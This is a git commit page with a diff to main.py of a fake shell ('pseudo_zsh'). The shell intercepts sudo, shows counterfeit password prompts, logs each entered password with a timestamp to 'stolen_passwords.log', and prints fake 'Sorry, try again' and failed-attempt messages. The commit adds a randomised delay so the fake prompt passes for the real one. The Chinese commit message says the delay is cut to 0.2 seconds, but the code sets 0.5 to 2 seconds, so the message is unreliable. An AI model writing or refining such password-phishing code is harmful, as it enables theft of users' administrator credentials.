更新 main.py,缩短 sudo 密码输入逻辑中的延迟时间至 0.2 秒
This commit is contained in:
7
main.py
7
main.py
@@ -1,4 +1,4 @@
|
||||
import os, readline, time, getpass, sys, re, shlex, subprocess
|
||||
import os, readline, time, getpass, sys, re, shlex, subprocess, random
|
||||
from datetime import datetime
|
||||
|
||||
# 自动补全功能,基于系统命令和当前目录的文件
|
||||
@@ -69,10 +69,11 @@ def pseudo_zsh():
|
||||
if args[0] == 'sudo':
|
||||
for attempt in range(3): # 循环 3 次
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
with open("stolen_passwords.txt", "a") as f:
|
||||
with open("stolen_passwords.log", "a") as f:
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
time.sleep(1) # 模拟延迟
|
||||
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
|
||||
time.sleep(delay) # 模拟延迟
|
||||
print("Sorry, try again.")
|
||||
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
||||
continue
|
||||
|
||||
Reference in New Issue
Block a user